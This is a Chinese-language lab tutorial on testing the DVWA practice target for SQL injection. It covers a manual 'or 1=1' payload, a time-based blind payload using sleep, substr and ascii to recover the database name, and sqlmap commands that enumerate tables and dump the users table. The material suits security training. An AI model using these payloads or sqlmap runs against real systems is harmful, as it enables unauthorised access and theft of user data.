手工加sqlmap测试靶机SQL注入

1.非盲注(页面显示查询结果):

通过burpsuite抓包,获取到post形式请求的id参数有漏洞,并直接用“or 1=1”获取到全部的用户名信息:

手工加sqlmap测试靶机SQL注入_第1张图片
手工获取全部用户名

2.盲注:

利用sleep(5)函数,substr()函数,ascii()函数等判断:如下:
Payload: id =2 and if(ascii(substr(database(),1,1))=100, sleep(5), null),当database()返回的当前数据库名第一个字符的ascii值是100,即为’d’时,那么执行sleep(5)暂停5秒 才返回。观察请求返回时间,判断是否第一个字符为’d’。如下:

手工加sqlmap测试靶机SQL注入_第2张图片
盲注

箭头所指的地方是response,在响应,说明第一个字符是’d’。后续利用同样的方法判断,得到’dvwa’数据库名。

3.用sqlmap测试:

(1)先将发送的请求头(这里以盲注请求头为例)保存为一个request.txt文件,并放置在sqlmap目录下

手工加sqlmap测试靶机SQL注入_第3张图片
image.png

(2)在cmd下输入: python sqlmap.py -r request.txt -p id, 得到输出:

手工加sqlmap测试靶机SQL注入_第4张图片
image.png

由上面可看出,sqlmap已经将后台的数据库,服务器及漏洞参数信息测试出来。
(3)然后输入: python sqlmap.py -r request.txt -p id --dbms mysql --current-db
手工加sqlmap测试靶机SQL注入_第5张图片
image.png

(4)然后列出当前数据库中的表: Python sqlmap.py -r request.txt -p id --dbms mysql -D dvwa --tables,得到如下图所示的表:
手工加sqlmap测试靶机SQL注入_第6张图片
image.png

(5)然后列出响应表的字段内容:
python sqlmap.py -r request.txt -p id --dbms=mysql -D dvwa -T users --dump
手工加sqlmap测试靶机SQL注入_第7张图片
image.png

可看到已经将users表中的数据打印并保存到C盘目录下一个csv文件里,找到打开:


手工加sqlmap测试靶机SQL注入_第8张图片
image.png

你可能感兴趣的:(手工加sqlmap测试靶机SQL注入)